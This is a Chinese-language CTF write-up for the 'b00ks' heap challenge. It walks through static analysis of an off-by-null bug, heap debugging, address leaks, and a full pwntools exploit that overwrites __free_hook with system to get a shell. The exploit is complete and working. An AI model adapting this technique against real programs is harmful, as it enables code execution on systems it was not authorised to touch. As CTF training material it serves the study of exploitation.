安全策略
先用checksec
检查安全策略
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
运行程序
大概运行一下程序,理清程序的执行流程,可以看到程序的功能是对图书的增删改查。
1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
静态分析
使用IDA Pro进行静态分析,进入main
函数进行反编译,对一些函数名进行修改,便于后续分析
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int option; // [rsp+1Ch] [rbp-4h]
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
welcome();
change_author();
while ( 1 )
{
option = menu();
if ( option == 6 )
break;
switch ( option )
{
case 1:
create();
break;
case 2:
delete();
break;
case 3:
edit();
break;
case 4:
print();
break;
case 5:
change_author();
break;
default:
puts("Wrong option");
break;
}
}
puts("Thanks to use our library software");
return 0LL;
}
主函数没什么问题,进入子函数进行分析,在change_author()
函数里发现调用了一个my_read()
函数读取输入。
__int64 change_author()
{
printf("Enter author name: ");
if ( !my_read(author_name, 32) )
return 0LL;
printf("fail to read author_name");
return 1LL;
}
进入my_read()
函数进行分析,发现这个函数存在Off-By-Null漏洞。可以看到i==size
时,用于结束字符串的NUL字符会覆盖到buffer
后一位,产生Off-By-Null漏洞。
__int64 __fastcall my_read(_BYTE *buffer, int size)
{
int i; // [rsp+14h] [rbp-Ch]
if ( size <= 0 )
return 0LL;
for ( i = 0; ; ++i )
{
if ( read(0, buffer, 1uLL) != 1 )
return 1LL;
if ( *buffer == 10 ) // if *str == '\n'
break;
++buffer;
if ( i == size ) // off by one
break;
}
*buffer = 0; // off by null
return 0LL;
}
接着分析该漏洞能作用于哪里,即查看与author_name
相邻的数据是什么。进入author_name
,发现在.data段,但实际上指向了.bss段,所以我们转到.bss段查看。
.data:0000000000202018 author_name dq offset unk_202040 ; DATA XREF: sub_B6D+15↑o
.data:0000000000202018 ; sub_D1F+CA↑o
在对应的.bss段下,看到与author_name
相邻的是list
。这里通过分析,我们得出list
是保存book
用的一个全局指针数组变量,详见后面的分析。
.bss:0000000000202040 unk_202040 db ? ; ; DATA XREF: .data:author_name↑o
.bss:0000000000202041 db ? ;
.bss:0000000000202042 db ? ;
.bss:0000000000202043 db ? ;
.bss:0000000000202044 db ? ;
.bss:0000000000202045 db ? ;
.bss:0000000000202046 db ? ;
.bss:0000000000202047 db ? ;
.bss:0000000000202048 db ? ;
.bss:0000000000202049 db ? ;
.bss:000000000020204A db ? ;
.bss:000000000020204B db ? ;
.bss:000000000020204C db ? ;
.bss:000000000020204D db ? ;
.bss:000000000020204E db ? ;
.bss:000000000020204F db ? ;
.bss:0000000000202050 db ? ;
.bss:0000000000202051 db ? ;
.bss:0000000000202052 db ? ;
.bss:0000000000202053 db ? ;
.bss:0000000000202054 db ? ;
.bss:0000000000202055 db ? ;
.bss:0000000000202056 db ? ;
.bss:0000000000202057 db ? ;
.bss:0000000000202058 db ? ;
.bss:0000000000202059 db ? ;
.bss:000000000020205A db ? ;
.bss:000000000020205B db ? ;
.bss:000000000020205C db ? ;
.bss:000000000020205D db ? ;
.bss:000000000020205E db ? ;
.bss:000000000020205F db ? ;
.bss:0000000000202060 unk_202060 db ? ; ; DATA XREF: .data:list↑o
接下来通过create()
等函数可以分析出该程序使用的数据结构。
__int64 create()
{
int idx; // [rsp+4h] [rbp-1Ch]
_DWORD *pbook; // [rsp+8h] [rbp-18h]
_BYTE *pname; // [rsp+10h] [rbp-10h]
_BYTE *pdescription; // [rsp+18h] [rbp-8h]
printf("\nEnter book name size: ");
scanf("%d");
printf("Enter book name (Max 32 chars): ");
pname = malloc(0LL);
if ( pname )
{
if ( my_read(pname, -1) )
{
printf("fail to read name");
}
else
{
printf("\nEnter book description size: ");
scanf("%d");
pdescription = malloc(0LL);
if ( pdescription )
{
printf("Enter book description: ");
if ( my_read(pdescription, -1) )
{
printf("Unable to read description");
}
else
{
idx = book_num();
if ( idx == -1 )
{
printf("Library is full");
}
else
{
pbook = malloc(0x20uLL);
if ( pbook )
{
pbook[6] = 0;
*(list + idx) = pbook;
*(pbook + 2) = pdescription;
*(pbook + 1) = pname;
*pbook = ++size;
return 0LL;
}
printf("Unable to allocate book struct");
}
}
}
else
{
printf("Fail to allocate memory");
}
}
}
else
{
printf("unable to allocate enough space");
}
if ( pname )
free(pname);
if ( pdescription )
free(pdescription);
if ( pbook )
free(pbook);
return 1LL;
}
这里可以看出,创建book
用到了3个chunk:pname
、pdescription
、pbook
。
book
是一个结构体,每次通过动态分配生成一个pbook
,并存放在长为20的全局指针数组变量list
中。pname
和pdescription
是pbook
的成员。
struct book
{
int id;
char *pname;
char *pdescription;
int size;
};
动态调试
静态分析基本结束,接着用pwngdb+pwndbg进行动态调试。
任意地址读写
创建第一本书,查看堆内存分布:
addr prev size status fd bk
0x555555609000 0x0 0x290 Used None None
0x555555609290 0x0 0x410 Used None None
0x5555556096a0 0x0 0x30 Used None None
0x5555556096d0 0x0 0x30 Used None None
0x555555609700 0x0 0x30 Used None None
这里创建了32字节长的name
和description
,name
的堆在0x5555556096a0
,description
堆在0x5555556096d0
,最后0x555555609700
的位置是第一个结构体book
的堆的位置。
通过telescope
指令查看内存book1
的内存:
00:0000│ 0x555555609700 ◂— 0x0
01:0008│ 0x555555609708 ◂— 0x31 /* '1' */
02:0010│ 0x555555609710 ◂— 0x1
03:0018│ 0x555555609718 —▸ 0x5555556096b0 ◂— 0x61616161 /* 'aaaa' */
04:0020│ 0x555555609720 —▸ 0x5555556096e0 ◂— 0x61616161 /* 'aaaa' */
05:0028│ 0x555555609728 ◂— 0x20 /* ' ' */
06:0030│ 0x555555609730 ◂— 0x0
07:0038│ 0x555555609738 ◂— 0x208d1
可以看出该chunk的数据段应该在0x555555609710
位置。
我们通过off-by-null覆盖指针数组第一个元素的低字节之后,会把指向0x555555609700
这个堆的数据段的指针0x555555609710
覆盖为0x555555609700
。
而该程序中,我们能控制内容的是description
,所以,可以想到,多申请一段description
的内存,让它能够控制到0x555555609700
的内存,然后便可以伪造一个fakebook,达到任意地址读写的目的。
fakebook需要的内存大小为0x20
,因此,只需要多申请0x20
的空间即可。
创建了32字节的name
和64字节的description
之后,堆内存的分布如下:
addr prev size status fd bk
0x555555609000 0x0 0x290 Used None None
0x555555609290 0x0 0x410 Used None None
0x5555556096a0 0x0 0x30 Used None None
0x5555556096d0 0x0 0x50 Used None None
0x555555609720 0x0 0x30 Used None None
符合预期,接下来可以写部分exp尝试控制book1了,测试控制没有问题,已经能够任意地址读写了。
泄露地址
接下来,考虑把__free_hook
指向system
来取得shell。
因为开启了Full-Reload,所以不能直接得到libc基址,所以需要泄露地址。
这里想到可以泄露第一个book的地址,因为堆块之间的偏移固定,所以其他chunk的地址也可以通过计算得到。
泄露book1地址
第一个book
的地址,可以通过author
泄露。第一次输入author
时写满32字节的内容,然后0字节就会被写入list
指针数组的第一个元素中,然后接下来创建book之后,该位置会被赋值为第一个book结构体的地址。
通过print
打印出author
,因为没有0字符(结束字符),就可以泄露出该位置的内存,从而得到第一个book
的地址。
利用这个地址,我们能够计算出通过brk分配的所有chunk的地址。
接下来,利用mmap泄露libc基址。
泄露libc基址
创建第二本书,因为只需要一块132KB的内存即可,所有我们的name
依然申请32字节,然后description
申请135168字节(132KB)。
通过vmmap
查看内存分布,看到[heap]
下面多了一块紧贴libc分配的内存,这就是刚刚通过mmap申请的description
,可以通过telescope
验证一下。
pwndbg> telescope 0x7ffff7da3000
00:0000│ 0x7ffff7da3000 ◂— 0x0
01:0008│ 0x7ffff7da3008 ◂— 0x22002
02:0010│ 0x7ffff7da3010 ◂— 'aaaaaaaaaaaaaaaa'
03:0018│ 0x7ffff7da3018 ◂— 'aaaaaaaa'
04:0020│ 0x7ffff7da3020 ◂— 0x0
... ↓ 3 skipped
这串a
是我前面申请时随便敲的,可以看出的确是description
所在的内存。
接下来,我们在程序中通过book2结构体泄露description
地址。
addr prev size status fd bk
0x555555609000 0x0 0x290 Used None None
0x555555609290 0x0 0x410 Used None None
0x5555556096a0 0x0 0x30 Used None None
0x5555556096d0 0x0 0x50 Used None None
0x555555609720 0x0 0x30 Used None None
0x555555609750 0x0 0x30 Used None None
0x555555609780 0x0 0x30 Used None None
book2
结构体是最后申请的,在0x555555609780
上,用telescope
查看一下:
00:0000│ 0x555555609780 ◂— 0x0
01:0008│ 0x555555609788 ◂— 0x31 /* '1' */
02:0010│ 0x555555609790 ◂— 0x2
03:0018│ 0x555555609798 —▸ 0x555555609760 ◂— 0x616161 /* 'aaa' */
04:0020│ 0x5555556097a0 —▸ 0x7ffff7da3010 ◂— 'aaaaaaaaaaaaaaaa'
05:0028│ 0x5555556097a8 ◂— 0x21000
06:0030│ 0x5555556097b0 ◂— 0x0
07:0038│ 0x5555556097b8 ◂— 0x20851
看到0x5555556097a0
的位置保存了book2
的description
指针,我们可以把它泄露出来。
前面得到的fakebook
指针是0x555555609730
,计算偏移得到0x5555556097a0-0x555555609730=0x70
。
我这里选择通过fakebook
的name
来泄露,而description
仍然指向原来book1
的description
,这样可以再次控制fakebook
。
原description
相对book1
的偏移是-0x50
。
基本思路已经理清,接下来就是exp的编写了。
漏洞利用
最终的exp如下:
from pwn import *
local_path = './b00ks'
io = process(local_path)
# libc = io.libc
libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')
# context.log_level = "debug"
context.binary = local_path
def menu(option):
io.recvuntil(b'>')
io.sendline(option)
def enter_author_name(author_name):
io.recvuntil(b':')
io.sendline(author_name)
def create(name_sz, name, dscr_sz, dscr):
menu(b'1')
io.recvuntil(b':')
io.sendline(name_sz)
io.recvuntil(b':')
io.sendline(name)
io.recvuntil(b':')
io.sendline(dscr_sz)
io.recvuntil(b':')
io.sendline(dscr)
def delete(idx):
menu(b'2')
io.recvuntil(b':')
io.sendline(idx)
def edit(idx, dscr):
menu(b'3')
io.recvuntil(b':')
io.sendline(idx)
io.recvuntil(b':')
io.sendline(dscr)
def printbook(idx):
menu(b'4')
for i in range(idx):
io.recvuntil(b':')
bookID = int(io.recvline()[1:-1])
io.recvuntil(b':')
name = io.recvline()[1:-1]
io.recvuntil(b':')
dscr = io.recvline()[1:-1]
io.recvuntil(b':')
author = io.recvline()[1:-1]
return bookID, name, dscr, author
def change(author_name):
menu(b'5')
enter_author_name(author_name)
# off by one to leak addr of book1
enter_author_name(b'a'*32)
create(b'32', b'book1', b'64', b'a'*32)
bookID1, name1, dscr1, author1 = printbook(1)
book1_addr = unpack(author1[32:32+6].ljust(8, b'\x00'))
log.success("leak book1_addr:" + hex(book1_addr))
create(b'32', b'/bin/sh', b'135168', b'/bin/sh')
# construct fake book1 to leak addr of book2
fakebook = pack(1) + pack(book1_addr+0x70) + pack(book1_addr-0x50) + pack(100)
pad = cyclic(32)
payload1 = pad + fakebook
edit(b'1', payload1)
# off by null to point at fake book1
change(b'a'*32)
bookID1, name1, dscr1, author1 = printbook(1)
mmap_addr = unpack(name1.ljust(8, b'\x00'))
log.success("leak mmap_addr:" + hex(mmap_addr))
# gdb.attach(io)
libc_base = mmap_addr + 0x22000 - 0x10
log.success("leak libc_base:" + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
free_hook_addr = libc_base + libc.symbols['__free_hook']
fakebook = pack(1) + pack(book1_addr+0x70) + pack(free_hook_addr) + pack(100)
payload2 = pad + fakebook
edit(b'1', payload2)
edit(b'1', pack(system_addr))
delete(b'2')
io.interactive()
成功拿到shell: